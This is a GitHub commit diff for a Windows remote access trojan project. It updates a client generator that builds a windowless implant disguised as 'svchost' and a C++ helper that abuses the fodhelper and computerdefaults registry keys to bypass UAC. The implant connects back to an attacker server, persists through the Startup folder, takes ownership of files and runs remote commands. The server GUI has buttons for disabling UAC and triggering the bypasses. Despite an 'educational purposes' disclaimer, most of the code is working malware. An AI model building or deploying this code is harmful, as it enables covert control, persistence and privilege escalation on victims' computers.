Skip to content

Commit 3ffe6d5

Browse files
New Version 2 With Fixed Problems
1 parent d61277a commit 3ffe6d5

File tree

5 files changed

+71
-52
lines changed

5 files changed

+71
-52
lines changed

Gen_client.py

Lines changed: 26 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -1,22 +1,36 @@
1+
from os.path import dirname,join
12
from os import system
23
from sys import exit
3-
def nuitka()->None:
4+
__author__="Vahab Programmer https://github.com/Vahab-Programmer"
5+
__version="0.0.2"
6+
def remove(path:str)->None:system("del /F /Q \"{}\"".format(path))
7+
def rmdir(path:str)->None:system("rd /S /Q".format(path))
8+
def PyInstaller()->None:
49
ip_address=str(input("Server IP:"))
510
with open("svchost.py","w") as file:
611
file.write(buf%ip_address)
7-
system("nuitka .\\svchost.py --mode=accelerated --mode=onefile --remove-output --windows-console-mode=disable --include-data-files=.\\run.exe=.\\run.exe")
12+
system("pyinstaller --onefile --windowed --optimize 2 --add-binary \".\\run.exe;.\" svchost.py")
13+
remove(join(dirname(__file__),"build"))
14+
remove(join(dirname(__file__),"svchost.spec"))
815
exit(0)
916
buf=r'''from platform import node,release,machine,processor
1017
from ctypes import windll
1118
from pickle import dumps
1219
from subprocess import getoutput,call
13-
from sys import exit,orig_argv
20+
from sys import exit,orig_argv,setrecursionlimit
1421
from os import chdir,environ,system as run
15-
from os.path import basename
22+
from os.path import basename,dirname,join
1623
from socket import socket,AF_INET,SOCK_STREAM,gaierror
1724
from shutil import copyfile
1825
from winreg import OpenKeyEx,HKEY_LOCAL_MACHINE,KEY_WRITE,SetValueEx,REG_DWORD,CloseKey
1926
from psutil import process_iter,AccessDenied
27+
import sys
28+
__author__="Vahab Programmer https://github.com/Vahab-Programmer"
29+
__version="0.0.2"
30+
setrecursionlimit(1000000000)
31+
if hasattr(sys,"frozen"):
32+
runfile=join(sys._MEIPASS,"run.exe")
33+
else:runfile=join(dirname(__file__),"run.exe")
2034
environ["exe"]=" ".join([i for i in orig_argv])
2135
def process_is_double(target:str=None)->int:
2236
if target:target = target + ".exe" if target.split(".")[-1] != "exe" else target
@@ -51,6 +65,7 @@ def connect()->None:
5165
except TimeoutError:connect()
5266
except ConnectionRefusedError:connect()
5367
except gaierror:connect()
68+
except OSError:connect()
5469
def CYS()->None:
5570
copyfile(" ".join([i for i in orig_argv]),(r"C:\Users\{}\Documents\\"+basename(" ".join([i for i in orig_argv]))).format(environ.get("username")))
5671
with open(r"C:\Users\{}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\start.bat".format(environ.get("username")), "w") as file:
@@ -72,22 +87,20 @@ def computerdefaults(target:str=None)->None:
7287
if " ".join([i for i in orig_argv]) == target:
7388
x=process_is_double()
7489
while not x<process_is_double():
75-
print(x,process_is_double())
76-
call("run computerdefaults.exe {}".format(target))
90+
call("{} computerdefaults.exe {}".format(runfile,target))
7791
if x<process_is_double():return
7892
return None
79-
while not process_is_exists(basename(target)):call("run computerdefaults.exe {}".format(target))
93+
while not process_is_exists(basename(target)):call("{} computerdefaults.exe {}".format(runfile,target))
8094
def fodhelper(target:str=None)->None:
8195
if target:target = target + ".exe" if target.split(".")[-1] != "exe" else target
8296
else :target=" ".join([i for i in orig_argv])
8397
target= target+".exe" if target.split(".")[-1] !="exe" else target
8498
if " ".join([i for i in orig_argv]) == target:
8599
x=process_is_double()
86100
while not x<process_is_double():
87-
print(x,process_is_double())
88-
call("run fodhelper.exe {}".format(target))
101+
call("{} fodhelper.exe {}".format(runfile,target))
89102
if x<process_is_double():return
90-
while not process_is_exists(basename(target)):call("run fodhelper.exe {}".format(target))
103+
while not process_is_exists(basename(target)):call("{} fodhelper.exe {}".format(runfile,target))
91104
def FDR(target:str)->None:
92105
run("takeown /D Y /R /F {}".format(target))
93106
run("icacls {} /T /C /grant {}:(F,MA)".format(target,environ.get("username")))
@@ -145,6 +158,6 @@ def FDR(target:str)->None:
145158
s.send(process.encode() if process else "success".encode())
146159
except ConnectionResetError:connect()
147160
except OSError:connect()'''
148-
print("Checking For Nuitka")
149-
from nuitka import __doc__
150-
nuitka()
161+
print("Checking For PyInstaller")
162+
from PyInstaller import __version__
163+
PyInstaller()

requirements.txt

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,2 +1,2 @@
1-
nuitka
1+
PyInstaller
22
psutil

run.cpp

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,7 @@
22
#include <string>
33
using namespace std;
44
// Author:Vahab Programmer https://github.com\Vahab-Programmer
5-
// Version: 0.0.1
5+
// Version: 0.0.2
66
void setreg(const char addr[],const char value[],const char name[]){
77
HKEY key;
88
RegCreateKey(HKEY_CURRENT_USER,addr,NULL);
@@ -20,8 +20,10 @@ int main(int argc,char **argv){
2020
exec =exec + " ";
2121
};
2222
string command=base+exec;
23+
string cmd=base;
24+
cmd+=argv[1];
2325
setreg(ra,"","DelegateExecute");
2426
setreg(ra,command.c_str(),"");
25-
system(argv[1]);
27+
ShellExecute(NULL,"open",argv[1],NULL,NULL,SW_SHOWNORMAL);
2628
setreg(ra,"","");
2729
}

run.exe

621 Bytes
Binary file not shown.

server.pyw

Lines changed: 40 additions & 36 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,3 @@
1-
21
from threading import Thread
32
from socket import socket,AF_INET,SOCK_STREAM
43
from pickle import loads,dumps
@@ -10,7 +9,7 @@ from os.path import exists,dirname,join
109
from ctypes import windll
1110
from time import sleep
1211
__author__="Vahab Programmer https://Github.com/Vahab-Programmer"
13-
__version__="0.0.1"
12+
__version__="0.0.2"
1413
commands_list = {}
1514
def save_commands()->None:
1615
data = dumps(commands_list)
@@ -68,7 +67,7 @@ class RunServer(object):
6867
current.append(tmp)
6968
yield "".join(current)
7069
def __bar_motion(self)->None:
71-
for frame in self.__infinity_animation("This App Created By Vahab Programmer Github Page: https://github.com/Vahab-Programmer Disclaimer Warning! This Program Is For Educational Purposes only!",width=120):
70+
for frame in self.__infinity_animation("This App Created By Vahab Programmer Github Page: https://github.com/Vahab-Programmer Disclaimer Warning! This Program Is For Educational Purposes only!",width=150):
7271
try:self.bar.set(frame)
7372
except RuntimeError:break
7473
sleep(0.1)
@@ -323,10 +322,15 @@ class RunServer(object):
323322
root=Tk()
324323
root.iconbitmap(".\\icon.ico")
325324
self.root=root
326-
root.title("Server V1")
327-
root.geometry("935x435")
325+
root.title("Server V2")
326+
root.minsize(935,435)
327+
root.columnconfigure(list(range(5)),weight=1)
328+
root.columnconfigure(3,weight=0)
329+
root.columnconfigure(list(range(2)),weight=0)
330+
root.rowconfigure(list(range(7)),weight=1)
331+
root.rowconfigure(3,weight=0)
332+
root.rowconfigure(0,weight=0)
328333
self.__center(root)
329-
root.resizable(False,False)
330334
root.protocol("WM_DELETE_WINDOW",self.__close)
331335
self.bar=StringVar(root)
332336
self.command=StringVar(root)
@@ -342,10 +346,10 @@ class RunServer(object):
342346
self.processor.set("Processor:")
343347
self.isadmin.set("Is User An Admin:")
344348
self.username.set("Username:")
345-
Label(root,textvariable=self.bar,font=("Tahoma",7),width=155,relief="raised").grid(row=0,column=0,columnspan=7)
346-
Label(root,text="Client's",font=("Tahoma",12)).grid(row=1,column=0)
347-
Label(root,text="Output",font=("Tahoma",12)).grid(row=1,column=2)
348-
Label(root,text="Command's",font=("Tahoma",12)).grid(row=1,column=5)
349+
Label(root,textvariable=self.bar,font=("Tahoma",7),width=155,relief="raised").grid(row=0,column=0,columnspan=7,sticky="NEW")
350+
Label(root,text="Client's",font=("Tahoma",12),relief="raised").grid(row=1,column=0,columnspan=2,sticky="NSEW")
351+
Label(root,text="Output",font=("Tahoma",12),relief="raised").grid(row=1,column=2,columnspan=2,sticky="NSEW")
352+
Label(root,text="Command's",font=("Tahoma",12),relief="raised").grid(row=1,column=4,columnspan=2,sticky="NSEW")
349353
self.lista=Listbox(root,width=35,height=15)
350354
self.commands=Listbox(root,width=35,height=15)
351355
self.__load_commands()
@@ -356,36 +360,36 @@ class RunServer(object):
356360
self.textbox=Text(root,yscrollcommand=sb1.set,height=15,width=56)
357361
sb1.config(command=self.textbox.yview)
358362
self.lista.config(yscrollcommand=sb.set)
359-
self.lista.grid(row=2,column=0,pady=10)
360-
self.commands.grid(row=2,column=5)
361-
self.textbox.grid(row=2,column=2)
362-
sb.grid(row=2,column=1,ipady=96)
363-
sb1.grid(row=2,column=3,ipady=96)
364-
sb2.grid(row=2, column=6, ipady=96)
363+
self.lista.grid(row=2,column=0,columnspan=2,sticky="NSEW")
364+
self.textbox.grid(row=2,column=2,sticky="NSEW")
365+
self.commands.grid(row=2,column=4,sticky="NSEW")
366+
sb.grid(row=2,column=1,sticky="NSE")
367+
sb1.grid(row=2,column=3,sticky="NSEW")
368+
sb2.grid(row=2, column=5,sticky="NSW")
365369
command=Entry(root,textvariable=self.command,width=75)
366-
command.grid(row=3,column=2)
370+
command.grid(row=3,column=2,columnspan=2,sticky="NSEW")
367371
command.bind("<Return>",self.__send_command)
368372
self.commands.bind("<Return>",self.__execute_command)
369373
self.lista.bind("<Return>", self.__select)
370-
Button(root,text="Delete Client",width=20,command=self.__rem_client).grid(row=3,column=0)
371-
Button(root,text="Send Command",width=20,command=self.__send_command).grid(row=4,column=2,sticky="w")
372-
Button(root,text="Disable UAC",width=20,command=lambda:self.__send_command(cmd="lua")).grid(row=5,column=2,sticky="w")
373-
Button(root,text="Fodhelper Bypass",width=20,command=lambda:self.__send_command(cmd="fodhelper")).grid(row=4,column=2,sticky="e")
374-
Button(root,text="ComputerDefaults Bypass",width=20,command=lambda:self.__send_command(cmd="computerdefaults")).grid(row=4,column=2)
375-
Button(root,text="Copy To Startup",width=20,command=lambda:self.__send_command(cmd="cys")).grid(row=5,column=2)
376-
Button(root,text="Exit",width=20,command=self.__exit).grid(row=5,column=2,sticky="e")
377-
Button(root,text="Select",width=20,command=self.__select).grid(row=4,column=0)
378-
Button(root,text="Refresh",width=20,command=self.__refresh).grid(row=5,column=0)
379-
Button(root,text="Send Command",width=20,command=self.__execute_command).grid(row=3,column=5)
380-
Button(root,text="Change Command",width=20,command=self.__change_command).grid(row=4,column=5)
381-
Button(root,text="Add New Command",width=20,command=self.__add_command).grid(row=5,column=5)
382-
Button(root,text="Delete Command",width=20,command=self.__del_command).grid(row=6,column=5)
383-
Label(root,textvariable=self.hostname).grid(row=6,column=2,sticky="w")
384-
Label(root,textvariable=self.release).grid(row=6,column=2)
385-
Label(root,textvariable=self.machine).grid(row=6,column=2,sticky="e")
386-
Label(root,textvariable=self.username).grid(row=6,column=0,sticky="w",ipadx=30)
387-
Label(root,textvariable=self.isadmin).grid(row=7,column=0,sticky="w",ipadx=30)
388-
Label(root,textvariable=self.processor).grid(row=7,column=2,sticky="w")
374+
Button(root,text="Delete Client",width=20,command=self.__rem_client).grid(row=3,column=0,columnspan=2,sticky="NSEW")
375+
Button(root,text="Send Command",width=20,command=self.__send_command).grid(row=4,column=2,sticky="NSW")
376+
Button(root,text="Disable UAC",width=20,command=lambda:self.__send_command(cmd="lua")).grid(row=5,column=2,sticky="NSW")
377+
Button(root,text="Fodhelper Bypass",width=20,command=lambda:self.__send_command(cmd="fodhelper")).grid(row=4,column=2,columnspan=2,sticky="NSE")
378+
Button(root,text="ComputerDefaults Bypass",width=20,command=lambda:self.__send_command(cmd="computerdefaults")).grid(row=4,column=2,columnspan=2,sticky="NS")
379+
Button(root,text="Copy To Startup",width=20,command=lambda:self.__send_command(cmd="cys")).grid(row=5,column=2,columnspan=2,sticky="NS")
380+
Button(root,text="Exit",width=20,command=self.__exit).grid(row=5,column=2,columnspan=2,sticky="NSE")
381+
Button(root,text="Select",width=20,command=self.__select).grid(row=4,column=0,columnspan=2,sticky="NSEW")
382+
Button(root,text="Refresh",width=20,command=self.__refresh).grid(row=5,column=0,columnspan=2,sticky="NSEW")
383+
Button(root,text="Send Command",width=20,command=self.__execute_command).grid(row=3,column=4,columnspan=2,sticky="NSEW")
384+
Button(root,text="Change Command",width=20,command=self.__change_command).grid(row=4,column=4,columnspan=2,sticky="NSEW")
385+
Button(root,text="Add New Command",width=20,command=self.__add_command).grid(row=5,column=4,columnspan=2,sticky="NSEW")
386+
Button(root,text="Delete Command",width=20,command=self.__del_command).grid(row=6,column=4,columnspan=2,sticky="NSEW")
387+
Label(root,textvariable=self.hostname).grid(row=6,column=1,sticky="NSEW")
388+
Label(root,textvariable=self.release).grid(row=6,column=2,sticky="NSEW")
389+
Label(root,textvariable=self.machine).grid(row=6,column=2,columnspan=2,sticky="NSEW")
390+
Label(root,textvariable=self.username).grid(row=6,column=0,sticky="NSEW")
391+
Label(root,textvariable=self.isadmin).grid(row=7,column=0,sticky="NSEW")
392+
Label(root,textvariable=self.processor).grid(row=7,column=1,columnspan=3,sticky="NSEW")
389393
self.__bar_handle.start()
390394
self.__handle.start()
391395
root.mainloop()

0 commit comments

Comments
 (0)